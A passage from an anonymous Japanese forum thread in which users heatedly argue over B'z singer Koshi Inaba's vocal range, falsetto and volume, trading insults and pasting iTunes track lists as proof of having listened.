それだったら稲葉に日本の民謡(それも正調)歌わせてみろよ
それが民謡に聞こえるかも疑問だが。

461 :名無しのエリー:2007/01/03(水) 03:26:27 ID:nX2EjQbk
稲葉ホットパンツだけでいい。歌はたいした事ない。

462 :名無しのエリー:2007/01/03(水) 10:02:49 ID:vWkhNloU
>>461
じゃあ、ステージの上にホットパンツだけ置いておけば良いんじゃね?

463 :名無しのエリー:2007/01/03(水) 10:24:01 ID:F/QWvdwY
>>457
民謡もオペラも聴きもしないくせによくそんなことが言えるもんだな。
何様のつもりなんだ。稲馬鹿ヲタは。

464 :名無しのエリー:2007/01/03(水) 11:06:13 ID:8QGeIPu/
サラ・ブライトマンがすごい歌唱力だと勘違いしている人も多いし。

465 :名無しのエリー:2007/01/03(水) 11:11:26 ID:nX2EjQbk
ホットパンツ稲葉

466 :名無しのエリー:2007/01/03(水) 16:14:27 ID:x1NPun39
>>464
サラはオペラ歌手じゃないからな。
それでも稲葉より全然歌唱力あるけど。

467 :名無しのエリー:2007/01/03(水) 17:33:13 ID:jgCoyjYl
じゃあ日本最高の歌唱力を持つ稲葉でもだめって事は
日本のボーカリストじゃサラには圧倒的に及ばないってわけか

468 :名無しのエリー:2007/01/03(水) 18:09:00 ID:vWkhNloU
>日本最高の歌唱力を持つ稲葉でもだめって事は

この前提が間違ってるだけ

469 :名無しのエリー:2007/01/03(水) 18:56:52 ID:XfkCiLLj
稲葉より稲葉ヲタのほうが凄いと思う。

470 :名無しのエリー:2007/01/03(水) 19:11:56 ID:0MiUJ/Z0
スレ間違えたのかと思たw

471 :名無しのエリー:2007/01/03(水) 19:12:15 ID:al/IBIRT
じゃあオレの知ってる人で唯一4オクターブ以上の音域を持つクリスタルキング田中で

472 :名無しのエリー:2007/01/03(水) 19:20:41 ID:SVDJjkda
>>458
いやいや現におまえは音域と声量以外は「動画見ろ」だったわけで

まあその声量と音域だって怪しいわけで
音域なんて米良良和や小野正利の方があるかも知れんし
声量も肺活量8000CC(結局ウィキの受け売り)とか言われたってなー どこが日本一?

473 :名無しのエリー:2007/01/03(水) 19:31:12 ID:B82ESaLC
>>471
もちろんファルセット込みだろ。地声だけでどこまで出せるかなw

>>472
おいおい、米良はカウンタテナーだろw 
ファルセットでアルト〜メゾソプラノ域で歌っているだけ。
その時点で音域が広いうんぬんを語るべき人じゃないわなw

474 :名無しのエリー:2007/01/03(水) 19:36:30 ID:QB0WTDSC
ファルセットを含めるなら
誰でも3オクターブくらいは余裕で出せるけどな。

475 :名無しのエリー:2007/01/03(水) 19:40:35 ID:aaMn55E3
ファルセットをうまく駆使して
オリジナリティのある声を作れているのは
ユーミンぐらいだ。

476 :名無しのエリー:2007/01/03(水) 19:44:04 ID:SVDJjkda
>>468
禿同
こいつ根拠ない決め付けを前提に話し進めてるだけだからな
しかもレスを返し続ければ自分の主張が通ると勘違いしてる
ただ妄想決め付けのレスを延々ループさせてるだけなのに
ただの粘着ストーカーだろ

477 :名無しのエリー:2007/01/03(水) 22:19:35 ID:jgCoyjYl
>>468
だから稲葉より凄い奴あげろっつってるじゃん
なんでアンチはここで挙げられないの?
ねえなんで?

478 :名無しのエリー:2007/01/03(水) 22:21:04 ID:jgCoyjYl
>>472
だからそれはお前が動画見ない&音源聞かないからなんだってwwwwww
はい無知が露呈されたねwwwww

それになんで声量と肺活量をつないでるの?
とりあえず肺活量なら98年の横浜ライブDVD見れば分かるでしょ?
いくら論詰したって『違うかもしれない』みたいな憶測発言しか出来ねーもんなアンチはww

479 :名無しのエリー:2007/01/03(水) 22:23:30 ID:PUakyb3p
無知の厨房ばっかだなこのスレ。とりあえず声量、声質ともにNo.1はL'Arc-en-CielのHYED。ガチでw

480 :名無しのエリー:2007/01/03(水) 22:24:25 ID:vWkhNloU
俺は動画みてもさーーーーーーーーーーっぱり分からん。<稲葉
鼻詰まってるみたいな声だしなあ。ソロアルバムも聴いたけど二度と聞けるもんじゃなかった。

481 :名無しのエリー:2007/01/03(水) 22:27:19 ID:jgCoyjYl
>こいつ根拠ない決め付けを前提に話し進めてるだけだからな
しかもレスを返し続ければ自分の主張が通ると勘違いしてる

根拠が無いってお前よく言えるよねwwwwwwwww
まず高音が凄いという根拠→『傷心って曲でhihiC(hihiB♯)まで出てるから』
これだよね。現に今日本のボーカリストじゃ歴代でも稲葉以上の高音を出しているのは
デーモン小暮閣下くらい。
リズム感→これは主観になるから動画見たほうがいい
アンチはこれ『だけ』を鵜呑みにして稚拙が露呈されるようなレス書きまくったわけでwwwwwwwwぎゃははww
声量→マイクレスで声をマイクとさほど変わらない音でドームに響き渡らせた
これもアンチはうそだのガセだので丸め込むんだから自分でドームいけって話

まぁこのレス読み返せばお前らがどんだけ無知で馬鹿なこと言ってるか分かるわけで

自ら動画見てないって断言してリズム感否定している奴や
音源聞いたこと無いけど実際そんな無いとかわけのわからねーこと言ってる奴や
事実をそれはヲタの偽造情報だとかほざいてる奴や
凄いけど下手とか思いっきり矛盾したこと言ってる奴や
いろいろいておもろいですよ?(クス

482 :名無しのエリー:2007/01/03(水) 22:28:18 ID:jgCoyjYl
>>479
HYDEアンチ乙

>>480
へえなんて曲聴いたの?
で、どんな動画見たの?


483 :名無しのエリー:2007/01/03(水) 22:29:00 ID:vWkhNloU
>自ら動画見てないって断言してリズム感否定している奴や
>音源聞いたこと無いけど実際そんな無いとかわけのわからねーこと言ってる奴や
>事実をそれはヲタの偽造情報だとかほざいてる奴や
>凄いけど下手とか思いっきり矛盾したこと言ってる奴や

それぞれどの書き込みを想定して言ってるのかアンカー付けてくれ

484 :名無しのエリー:2007/01/03(水) 22:30:23 ID:jgCoyjYl
>>480
釣られてあげるよ
分からないっていうのはお前の理解力が無いからでしょ?
理解できる奴なら普通下手なら下手って抱けるわけだし
分からないって相当お前が理解力ないだけでしょ?
それに二度と聞けるようなもんじゃなかったって
それお前の好みでしょ?
ずれてるよ?アンチさん。

485 :名無しのエリー:2007/01/03(水) 22:33:04 ID:vWkhNloU
>>482
びーぜっとはベスト盤(プレジャー?)
あと稲葉はピースオブマインドは聴いたの覚えてる
「透明人間」の歌詞意外と良いじゃんと思って聴いたんだけど歌がキモくてダメだった

動画、見た奴全部リストアップすんの?

486 :名無しのエリー:2007/01/03(水) 22:34:04 ID:jgCoyjYl
>>483
まず>>221からみてごらんよ

487 :名無しのエリー:2007/01/03(水) 22:34:05 ID:vWkhNloU
×歌が
○歌い方が

見れば分かるから動画見ろ、見て分からないのは理解力がないだけ、か。
それって主張って言えんの???

488 :名無しのエリー:2007/01/03(水) 22:34:56 ID:vWkhNloU
>>486
>>221は君が挙げてるうちのどれに相当すんの?

489 :名無しのエリー:2007/01/03(水) 22:35:13 ID:jgCoyjYl
>>485
曲を具体的に挙げてごらんよ
透明人間は一番(2chの欝に)人気だからね

プレジャーは歴代2位の売上だし誰もがしってて当然。
どういう曲調だったか具体的に話てごらんよ

490 :名無しのエリー:2007/01/03(水) 22:36:18 ID:jgCoyjYl
>>488
日本語通じるの?
>>221『から』みてごらんよ
>>221『から』みてごらんよ
>>221『から』みてごらんよ
>>221『から』みてごらんよ

>>221『は』君があげてるうちのどれ?
アホか?アンチ



491 :名無しのエリー:2007/01/03(水) 22:37:07 ID:jgCoyjYl
あ、出来るだけ具体的に早く説明してね^^
プログとか見てきたらわかっちゃうんで^^

492 :名無しのエリー:2007/01/03(水) 22:40:04 ID:vWkhNloU
>>489
何が知りたいの?俺がちゃんとその曲を聴いた証拠があるのかって事?
mp3にエンコしたのがあるからFBか何かにアップするか?

俺ちゃんと「二度と聴けるもんじゃなかった」って言ってるんだけど。
キモい歌今からもっかい聞き直してどういう曲調だったか説明せにゃならんの??
耳にウンコ入れられるよーなもんだわ。
一回は聴いてるって証拠にituneのリストコピーするからこれで勘弁しろ。

LOVE PHANTOM4:39B'zB'z The Best "Pleasure"Rock12005/10/11 15:4919951/14
love me, I love you3:20B'zB'z The Best "Pleasure"Rock12005/10/11 15:5219952/14
Easy Come, Easy Go!4:40B'zB'z The Best "Pleasure"Rock12006/04/21 17:0019903/14
ZERO4:50B'zB'z The Best "Pleasure"Rock12005/10/11 16:0119924/14
ALONE6:00B'zB'z The Best "Pleasure"Rock12005/10/11 16:0719915/14
裸足の女神4:26B'zB'z The Best "Pleasure"Rock12006/01/08 4:1919936/14
愛のままにわがままに僕は君だけを傷つけない3:56B'zB'z The Best "Pleasure"Rock12005/10/11 16:1619937/14
LADY NAVIGATION4:20B'zB'z The Best "Pleasure"Rock12005/10/11 16:2019918/14
太陽のKomachi Angel4:10B'zB'z The Best "Pleasure"Rock12005/10/11 16:2419909/14
BE THERE4:13B'zB'z The Best "Pleasure"Rock12005/10/11 16:29199010/14
Don't Leave Me4:24B'zB'z The Best "Pleasure"Rock12005/10/11 16:33199411/14
Bad Communication E.Style4:19B'zB'z The Best "Pleasure"Rock12005/10/11 16:37199012
Calling5:56B'zB'z The Best "Pleasure"Rock12005/10/11 16:43199713
さまよえる蒼い弾丸4:05B'zB'z The Best "Pleasure"Rock12005/10/11 16:47199814


493 :名無しのエリー:2007/01/03(水) 22:41:12 ID:vWkhNloU
おかえり2:46稲葉浩志Peace Of MindRock12005/10/06 8:2420041/14
Wonderland4:04稲葉浩志Peace Of MindRock12005/10/06 8:2820042/14
The Race4:48稲葉浩志Peace Of MindRock12005/10/06 8:4320043/14
正面衝突4:29稲葉浩志Peace Of MindRock12005/10/06 8:4820044/14
水平線4:43稲葉浩志Peace Of MindRock12005/10/06 8:5320045/14
すべての幸せをオアズケに4:40稲葉浩志Peace Of MindRock12005/10/06 8:5720046/14
Tamayura5:42稲葉浩志Peace Of MindRock12005/10/06 9:0320047/14
ハズムセカイ4:17稲葉浩志Peace Of MindRock12005/10/06 9:0720048/14
幸福への長い坂道2:48稲葉浩志Peace Of MindRock12005/10/06 9:1020049/14
横恋慕4:11稲葉浩志Peace Of MindRock12005/10/06 9:14200410/14
SAIHATE HOTEL3:54稲葉浩志Peace Of MindRock12005/10/06 9:19200411/14
I AM YOUR BABY4:33稲葉浩志Peace Of MindRock12005/10/06 9:23200412/14
透明人間4:49稲葉浩志Peace Of MindRock12005/10/06 9:28200413/14
あの命この命3:36稲葉浩志Peace Of MindRock12005/10/06 9:32200414/14


494 :名無しのエリー:2007/01/03(水) 22:45:46 ID:vWkhNloU
>>490
俺は「どの書き込みを想定して言ってるのか」って聞いてるんだけど?
それを「>>221からみてごらんよ」じゃ答えになってないから
一つ一つ聞きただそうとしたんだけど。そのくらいわかれよ。

495 :名無しのエリー:2007/01/03(水) 22:45:50 ID:jgCoyjYl
>>492
聞きなおす?
何言ってるの?お前
議論のネタのひとつとして持ってきたんだよね?稲葉の『透明人間』って曲を
だからその感想を聞かせてほしいんだけど
どういうジャンルの曲でどんな感じの曲かって事を

それともお前はお前の『好み』ひとつで
曲の採点を過小評価したとか?
まぁそれは構わないんだけどね。あくまでおまえの好みだから

でも普通さ、いくら嫌いなボーカリストでも
高音が出てる、低音が出てる、安定してるくらい分かると思うんだけど
何で分からないの?

お前の好みじゃん。完全に
好きな音楽=凄い
嫌いな音楽=しょぼい
とでも思ってるの?

496 :名無しのエリー:2007/01/03(水) 22:49:38 ID:vWkhNloU
何の話をしてるんだ?
俺が声量とかリズムだとか曲の採点だとか
稲葉が巧いだとかヘタだとか高音が出てるとか出てないだとか
そんな話を一度でもしたかよ?
高音が出てるだの低音が出てるだのを判断する以前の所で受け付けなかったって話をしてるんだが?

497 :名無しのエリー:2007/01/03(水) 22:55:45 ID:PUakyb3p
稲葉だったら普通にHYEDの方が上手いゃん

498 :名無しのエリー:2007/01/03(水) 23:21:08 ID:YtCRn990
生だったら稲葉の方が声量(体力?)ある


499 :名無しのエリー:2007/01/04(木) 00:00:48 ID:KdIncxdb
>>497
本気で稲葉が歌うまいって思ってるまともな人はほぼいないだろ
別に下手ではないけどね

500 :名無しのエリー:2007/01/04(木) 00:03:37 ID:os+Qrxac
>>496
>俺は動画みてもさーーーーーーーーーーっぱり分からん

ああそう。
唯こんなこといっちゃてるから俺の文に異論があるってことで言ったわけじゃないのね?
でもどんなに受け入れなくても見れば聞けば分からないって事はないでしょ?って話

まぁ稲葉自体に異論が無いなら俺は黙るけど
あくまでもお前の好みの問題だからね
受け入れられない←って

>>497
いい加減釣りは厭きた。HYDEアンチ乙

>>498
もうわけがわからない


501 :名無しのエリー:2007/01/04(木) 00:04:31 ID:os+Qrxac
>>499
本気で下手だって思ってる難聴はいないと思うよ

502 :名無しのエリー:2007/01/04(木) 00:29:08 ID:88eRqbxM
>>481
音域の話しだが、それってウィキの受け売りだろ 
そういや稲葉ほど高い声が出せる人はいないとかアホなこと書いてたな 
日本中の歴代プロボーカリスト知ってんのかって話しだが

声量の話しだが
なんでドーム中に響きわたらせたってわかるんだ?
ビデオの映像?あれってドームの中の比較的稲葉の近くにマイク置いてるんだが

503 :名無しのエリー:2007/01/04(木) 01:42:04 ID:wJhtRmO1
稲葉について

「〜しましょう」という歌詞がキモい。

お前1人でやってろ。人にまで勧めるなっつーのwwwww

504 :名無しのエリー:2007/01/04(木) 02:16:04 ID:rufDPNkY
>>503「〜しちゃう」とかもよくあるな。

あの声に合ってんだか合ってないんだか。

505 :名無しのエリー:2007/01/04(木) 03:02:50 ID:oIMBAVfw
歌詞議論のスレでやりなさい

とりあえず稲葉はうまいと思う

506 :名無しのエリー:2007/01/04(木) 11:28:07 ID:rufDPNkY
>>505スマソ。その通り。

507 :名無しのエリー:2007/01/04(木) 12:11:11 ID:os+Qrxac
>>502

お前もう歌唱力スレくんなよ^^;
それとも俺釣って俺の反応見て楽しんでるの?

>音域の話しだが、それってウィキの受け売りだろ 
そういや稲葉ほど高い声が出せる人はいないとかアホなこと書いてたな 
日本中の歴代プロボーカリスト知ってんのかって話しだが

確かにwikiにはhihiA♯出るって書いてあるけど
実際もっと出る。傷心って曲でhihiC(hihiB♯)出してる
馬鹿にも分かるように言えば
それはそういうプログラムがあれば図れるものなんだよ

それにhihi以上は超高音って言われて日本で男性ボーカリストで出せるのは稲葉と閣下くらい。
何も知らないのはお前だろ。
つかwikiには『現在の』って書いてあるのに何いってんだお前。盲目披露すんなよズレルから。

>声量の話しだが
なんでドーム中に響きわたらせたってわかるんだ?
ビデオの映像?あれってドームの中の比較的稲葉の近くにマイク置いてるんだが

もうお前わけわからねーよ
稲葉がドーム中で声を響き渡らせたって奴ビデオじゃまだ出てねーよw
もうしねしね
つかマイク入ってるのととマイクレスの声なんて素人が聞いてもわかるっつーの
お前素人以下?
第一稲葉はドームを一周しながらやってるのに、どこにマイクあるっつんだよ
ドームの周りや下にもファンがいるんだぞ
んなことやったらバレバレ

508 :名無しのエリー:2007/01/04(木) 12:12:13 ID:os+Qrxac
>>504
あってなかったらこんなに腐女や婆が稲葉にゃわかねーよ

509 :名無しのエリー:2007/01/04(木) 14:26:02 ID:EzjtLvcY
そもそもファルセットを使ってんのに、
どこまで高音が出るかなんて馬鹿げているけどなw

>>475 これは同意。日本では彼女くらいしかおらん。

510 :名無しのエリー:2007/01/04(木) 14:31:51 ID:os+Qrxac
嘲笑いWWWWWWWWWWWWWWWWWWWWWWWWW

511 :名無しのエリー:2007/01/04(木) 14:46:47 ID:RVDkpo64
Wの数=必死さの度合い

512 :名無しのエリー:2007/01/04(木) 14:51:39 ID:O46fQYG3
Wの数=悔しさの度合い

513 :名無しのエリー:2007/01/04(木) 15:09:46 ID:88eRqbxM
>>507
全く反論になってないな
まず音域
お前はいままで出てきたプロのシンガー全員と比べて言ってるわけじゃないっていうのはわかった
それと声量
ビデオ出てない、それにおまえが現場(例えばドームの最後列等)にいたわけでもない
ただ単にヲタのデマにも似たような誇張表現を真に受けてるだけ それじゃあ根拠にはならない

で、音域と声量以外の説明は出来ないわけだし、結局稲葉が日本一だとする理由は何一つ無い
おまえがそう思いたいだけ

514 :名無しのエリー:2007/01/04(木) 15:26:38 ID:bsnVqqxf
声量はマイクレスでないと本当のところはわからない。

515 :名無しのエリー:2007/01/04(木) 15:29:14 ID:VhgBDKlU


>ドームを一周しながらやってるのに、どこにマイクあるっつんだよ


↑ こいつってさ、ミュージカルをみたことない無知野郎か? 





516 :名無しのエリー:2007/01/04(木) 15:36:45 ID:DEQfxIJb
ミュージカルは極小ワイヤレスマイク(なんと大きさ1センチ未満のものもある)を
髪の毛の中にクリップで留めて隠していることが多い。
激しく動いても外れないし、絶対に見えない。
稲葉も一周しているときにはこれがスイッチオンさせて使用しているだろうね。

517 :名無しのエリー:2007/01/04(木) 16:02:56 ID:88eRqbxM
B'zのライブビデオの映像だったらカメラとマイク付いてる罠
しかもドーム内の比較的近距離にマイク置いて撮ってる可能性もあり
よって稲葉がドーム中に声を届かせた根拠がビデオだとするならそりゃ無いぞ

518 :名無しのエリー:2007/01/04(木) 16:28:49 ID:YOu2fv4q
>>460
レスも自分で作れない低脳 乙

>>463
いなばなんか聞いていないが、このスレで何人オペラなんか聴くんだ
馬鹿 ID:F/QWvdwY 大体邦楽にオペラ歌手なんか引き出すな基地街
いや失礼 キチガイ

519 :名無しのエリー:2007/01/04(木) 16:35:55 ID:SYmgwiao
稲葉もファルセット使いまくりじゃん しかも変な声。
何が超高音だよwwwwwwww ファルセットの使い方は3流だろ。

520 :名無しのエリー:2007/01/04(木) 16:42:06 ID:88eRqbxM
>>460
禿げ同
稲葉が歌唱力を要求される「国歌」歌ったらボロが出そう

521 :名無しのエリー:2007/01/04(木) 17:11:56 ID:3Tlmux71
こういうスレって必ず稲葉スレになるからつまんね・・

522 :名無しのエリー:2007/01/04(木) 17:28:50 ID:os+Qrxac
>>513
え?直接ドームで見たじゃダメなの?
それにリズム感や安定感の説明も腐るほどしたけど?
レス見直せよクー
まぁ表現力に関しては主観になるわけだから実際聞けって事

>>515
え?だからマイクレスとマイク入ってるときの声くらい
分からないのかって?素人以下なの?

>>519
ライブじゃ一切使ってねーよwwwww
得意の造報流すんじゃねーよアンチwwwwwww

>>520
何でそう思うのか陳述してくれる?

523 :名無しのエリー:2007/01/04(木) 17:30:14 ID:os+Qrxac
>>521
だってまず歌唱力で意識されるのは稲葉だろ
しかも稲葉といっちゃ総売上ナンバー1B'zのボーカリストとしてドメジャーだからね

↑ここまでバンド板のギター募集スレに張られてたコピペらしきコピペ↑

524 :名無しのエリー:2007/01/04(木) 17:31:05 ID:os+Qrxac
>ビデオ出てない、それにおまえが現場(例えばドームの最後列等)にいたわけでもない
ただ単にヲタのデマにも似たような誇張表現を真に受けてるだけ それじゃあ根拠にはならない

なんで無理にこういうことしようとするかなアンチはwwwwwwwww
いたよwww俺一言でもいないなんつったっけ?wwwwwwww

525 :名無しのエリー:2007/01/04(木) 17:32:57 ID:os+Qrxac
後2回いったから1回は最前列
2回は後ろにいたね

526 :名無しのエリー:2007/01/04(木) 17:35:27 ID:os+Qrxac
まさかアンチはマイクが入ってるときと入っていない時の
区別が付かないとか?

ビデオならまだしもライブ行けば素人、否、餓鬼でも否、猿でも分かりますけど
B'zに限らず

527 :名無しのエリー:2007/01/04(木) 17:43:15 ID:88eRqbxM
>>522>直接ドームで見た
って何を?
稲葉ってマイク無しの生声をドームで走り回りながら歌ってことあったっけ?
>リズム感や安定感の説明
なんて全くされたことありませんが どれ?

>>520何でそう思うのか?
実は対して歌上手くないから いつメリを聴けばわかる


528 :名無しのエリー:2007/01/04(木) 17:51:26 ID:88eRqbxM
>>526
稲葉はいつもマイク無しでライブやるのかい?

てかどいつもこいつもアンチに見えてるのにワロタ
そういうのを「ノイローゼ」という

529 :名無しのエリー:2007/01/04(木) 17:53:09 ID:os+Qrxac
>>527
ELEVENのライブみなよ
それに誰が生声で歌ってるなんて言ったよ
勘違い解釈はげしすぎ。まともに会話できない理由わかるわ

>>246以降の俺とその>>246の会話見てみなよ

>実は対して歌上手くないから いつメリを聴けばわかる

だからお前のいう歌の上手さの定義を具体的に説明してください
つってんだけど理解できねーの?
どうやったら歌が上手くなってどうやったら歌が下手になるわけ?
つかお前の根拠って緒戦Mステだろ?
ライブでいつめりなんてやったこと無いし、ライブ≒Mステだと思ってる馬鹿は
歌唱力議論スレくんなよ
あ、それ以前にここは唯の釣りスレか



530 :名無しのエリー:2007/01/04(木) 17:53:32 ID:502pjiRY
稲葉ヲタ必死すぎ

531 :名無しのエリー:2007/01/04(木) 17:54:29 ID:os+Qrxac
>>528
いつもじゃないよ
最近じゃ稲葉はそれやるより歌ってる最中リズムを取りながらドームを全力疾走して終わりかな

532 :名無しのエリー:2007/01/04(木) 17:55:09 ID:os+Qrxac
>>530
こんな釣りスレだからこんな遊べるわけで
そこを考慮しろよアンポンタン

533 :名無しのエリー:2007/01/04(木) 17:55:48 ID:88eRqbxM
>>529
生声じゃないならマイクだろ

それと、いつメリのMステって口パクなの?
生で歌ってるんだろ?だったられっきとしたライブじゃん
言っておくが、口パクであれだったらもっと酷いよ

534 :名無しのエリー:2007/01/04(木) 17:56:18 ID:os+Qrxac
なんかまたアンチが勘違い起こしそうだから訂正
誰が生声で歌ってるなんていったよ
誰が生声で『歌ってる』なんていったよ

稲葉はマイクレスで自分の声をドームに響き渡らせた



535 :名無しのエリー:2007/01/04(木) 17:59:23 ID:os+Qrxac
>>533

やっぱ勘違いするのよねアンチって。予測できるもん行動パターン。同じ事の繰り返し。

Mステじゃ稲葉は手を抜いている
これだけ言ってあげるよ。まぁ疑うなら比べてみなよ
この前の10月13日に歌ったALL-OUT-ATACKと11月に歌ったネテモサメテモ
圧倒的に声の出が違いすぎる
稲葉のテレビ嫌いは有名だと思うよ?
衝動だってぼくに(も)のところMステじゃ手抜いてはき捨ててるし
ゆるぎないものひとつだきしめ(たいよ)も適当だったし

ライブとえらいほど違う

それにMステのいつめりだってそんなひどくない。

536 :名無しのエリー:2007/01/04(木) 18:01:26 ID:88eRqbxM
>>534
だからおまえはドーム中に響き渡らせたことを何でしってるの?
ドームの一番最後列を調べて回ったのか?

537 :名無しのエリー:2007/01/04(木) 18:11:58 ID:88eRqbxM
>>535
テレビ嫌いだからテレビでは手を抜いている
なんてのはお前の妄想での言い訳w
稲葉がそんなこと言ったことありましたっけ?

それに手を抜くと上手くなくなるなんて
ちょっと無理あるだろ君

538 :名無しのエリー:2007/01/04(木) 18:59:14 ID:os+Qrxac
>>536
アンチつまんね。。
>>525参照。俺は2回いってんだよ。アリーナと後列

>>537
会報で思いっきり言ってる。Mステ出たくないだの腰が痛くなるだの
テレビは知らない人が見てるから恥ずかしいだの
10月13日の稲葉の表情見ろよ。話振られても喋らない、自分の歌着ても笑わない
しかもガン飛ばしてる。歌も最悪だった

>それに手を抜くと上手くなくなるなんて
ちょっと無理あるだろ君

はい?なにいってんだお前w
手抜いたら下手になるのは当たり前だろww
第一手を抜くという表現より適当にいい加減にやってるっていう表現のがいいかもね

つかさっさと説明してくれないかな?
>>歌の上手さってどんな状態になったら上手いって言えるの?
どんな事になれば歌の上手さってあがったことになるの?
>>歌の上手さってどんな状態になったら上手いって言えるの?
どんな事になれば歌の上手さってあがったことになるの?
>>歌の上手さってどんな状態になったら上手いって言えるの?
どんな事になれば歌の上手さってあがったことになるの?
>>歌の上手さってどんな状態になったら上手いって言えるの?
どんな事になれば歌の上手さってあがったことになるの?


逃げるなよ?アンチ

539 :名無しのエリー:2007/01/04(木) 19:00:45 ID:jeAZ1wYv
っつーか、

オマエラが見てるのは手を抜いてる稲葉だ
俺は手を抜いてない稲葉を見てる 凄いから信じろ

って言われて信じる馬鹿がどこにおるねん

540 :名無しのエリー:2007/01/04(木) 19:32:04 ID:os+Qrxac
>>539
極端すぎ。だから勘違いが絶えないのね

つかそもそもテレビ番組等で歌唱力を判断している時点でイモ。
うんイモ。

普通歌唱力を測るときはライブへ行く、またはDVDを買う
これは常識
幸いインターネット上にはyoutubeって便利なサイトがあるのにも関わらず
見すらしないでMステのを根拠にして意味不明に批判してる馬鹿がどこにいるんだって
あ、アンチがいたか

541 :名無しのエリー:2007/01/04(木) 19:33:02 ID:jeAZ1wYv
>>540
おまいは久保田と閣下と今見と陽水と、全部DVD見てるのかよ すげーなおい

542 :名無しのエリー:2007/01/04(木) 19:36:24 ID:os+Qrxac
>>541
そこが抜けてるアンチ
もっとそういうところ長けさせてから反論するんだな

youtubeってサイトがあるだろ
唯で見れる。
まぁ閣下はDVDで見てるし人見も好きだ
今見って誰だよww


543 :名無しのエリー:2007/01/04(木) 19:44:37 ID:jeAZ1wYv
すげーなお前。ちょっと尊敬するわ。
んじゃ稲葉と陽水と閣下と人見がそれぞれどのくらいの高音まで出せるのか分かるyoutubeと、
どのくらいの声量で歌えるのかが分かるyoutubeのリンク貼って無知な俺に教えてくれ。
稲葉だけじゃなくてね。
比較検討しての結論なんだろーし。

544 :名無しのエリー:2007/01/04(木) 19:49:30 ID:os+Qrxac
>>543
また抜けてる。
たとえ俺が見てなくとも適当なURL張ればいいだけの話だろ?
なんでそこまで頑張るの?
んなの検索すれば良い話

稲葉はhihiC(hihiB♯)(傷心)
閣下はhihiC(殺しの現場)youtubeじゃはかれない。実際CDじゃないと閣下の場合無理。(かんこぴしてないから)
揚水はHRボーカリストじゃないし図ってない
けどhihi以上の超高音が出てないのは事実
後のボーカリストは偏差値スレの意見を元に調合していけば分かる

それにたとえ俺が見てなくとも適当なURL張ればいいだけの話だろ?

545 :名無しのエリー:2007/01/04(木) 19:50:56 ID:os+Qrxac
いや俺は尊敬されることやってない
むしろお前らが馬鹿なだけ
学校で言えば俺は小学校4年生レベルの勉強の発表をここでしている
そこでお前ら幼稚園児保育園児が頑張ってパンダの体の色は紫だのピンクだのほざいてる
んでお前みたいなのが出てきて皮肉間際にすげーとか言ってるだけ。

実際稲葉は偏差値スレでもトップの位置にいる。

546 :名無しのエリー:2007/01/04(木) 20:07:40 ID:Cdcwc0Df
>>544
適当なURL貼っちゃダメでしょ^^;

547 :名無しのエリー:2007/01/04(木) 20:07:54 ID:jeAZ1wYv
声量は?

548 :名無しのエリー:2007/01/04(木) 20:08:09 ID:jDLI0o7i
>>545
超高音? あれはモロにファルセットじゃん。
ファルセットと地声の違いを見分けきれないお前は幼稚園児以下。
それともファルセットって何か知らないんじゃねーのか?

549 :名無しのエリー:2007/01/04(木) 20:14:54 ID:+nFZ47JT
wikiみたいな誰でも改変できるような情報を信じる馬鹿がこのスレにもいるとはな。

550 :名無しのエリー:2007/01/04(木) 20:15:47 ID:os+Qrxac
>>544
例えって話

>>547
意味がわからない
声量は動画でもはかれる

>>548
今度はファルセットwwwwww
必死で理屈を考えるねwwwww
どこでファルセット使ってんだよ
動画のURL張ってくださいね

551 :名無しのエリー:2007/01/04(木) 20:21:08 ID:os+Qrxac
>>549
アンチのことだよね?

552 :名無しのエリー:2007/01/04(木) 20:21:50 ID:QU38qgLD
稲葉  ファルセット で ググると出てくる情報はみんな嘘。
wikiの独特のファルセットではない声というのも嘘。



553 :名無しのエリー:2007/01/04(木) 20:31:18 ID:os+Qrxac
アンチさん今ごろ必死に偽造ネタでも作ってるの?

554 :名無しのエリー:2007/01/04(木) 20:34:43 ID:mIjm7q1s
ウィリアム・マッテウッツィなどの超高音を聴けば、稲葉みたいな2流を
褒めることはなくなるのにな。 いい加減、電波な頭をどうにかして欲しいよ。

555 :名無しのエリー:2007/01/04(木) 20:42:57 ID:os+Qrxac
>>554
日本人じゃ相手できないと判断して一流外人出してきたわけね
そう。ならいいんだよアンチさん^^

556 :名無しのエリー:2007/01/04(木) 23:13:51 ID:B7i5gy4W
ID:os+Qrxacは陽水と久保田の歌唱力についてどう思っているの?

557 :名無しのエリー:2007/01/04(木) 23:20:57 ID:e6Ghsr+f
いろんな意味でスゲーなこのスレ;
稲葉ももうちょっと声に伸びがあればもう言うことはないけどな

558 :名無しのエリー:2007/01/05(金) 00:20:45 ID:bevv8koM
>>551を見ると、おまえがあらゆるスレでB'zアンチと戦ってることがわかるな
すぐにアンチ呼ばわり まるでB'zアンチが悪いことのように

稲葉?まず声に響きがないね
本当に歌うまい人ってエコーかけなくても響明するような声が出せるそうだ
上で挙がった陽水玉置久保田ASKAなんかは皆そういう声が出せる
稲葉は残念ながらない

559 :名無しのエリー:2007/01/05(金) 00:37:24 ID:vXCrMr8f
>>558
んな>>551みたいなあおり文にいちいちそんな長文で反応しなくとも^^;

声に響きがない?どんだけ難聴なんだよお前
たいてい一般じゃ稲葉が嫌いな理由は母音の発音と声の響き(きんきんしすぎ)

それに稲葉はライブじゃ一切エコー使ってないし
透明っていうのはクリアって意味だからこれは声質の問題。好み
んな声質で歌唱力判断する自体イモ

最後にその文はお前の好み。
歌唱力に関して何ひとつ触れてない。声質のみ

560 :名無しのエリー:2007/01/05(金) 01:04:52 ID:N4okplOs
>>559
陽水と久保田の歌唱力についてどう思っているの?

561 :名無しのエリー:2007/01/05(金) 01:47:02 ID:bevv8koM
>>559
声質ではなく、歌うまい人の声の出方 当然好みでもない
2ちゃん長いんだからいい加減日本語読解力つけてね
稲葉にはないんだよね
一回ニュートラルに陽水や久保田や玉置の声と比べてみたらいいと思うが


562 :名無しのエリー:2007/01/05(金) 02:28:34 ID:uDWBPclB
もう子供の喧嘩状態のスレになってしまったか・・・

563 :名無しのエリー:2007/01/05(金) 02:32:57 ID:nqRX3ZBG
飛鳥らと稲葉の違いは鼻への響きと口腔への響きとの配分の違いだから、歌唱力の優劣とは別問題。
飛鳥は大きく鼻によってて稲葉とは対局だろうな。
陽水なんかに比較して受け付ける受け付けないの差が大きいが、
好みの問題でどっちも上手いのは確か。

564 :名無しのエリー:2007/01/05(金) 02:56:29 ID:bevv8koM
なるほど
俺はお前の言う「鼻への響き」ができるボーカリストが天性の歌の上手さだと思うよ
だって上でもあったオペラの歌手でも演歌の歌手でも上手いと言われる人は皆声が響明している
稲葉は無いな〜

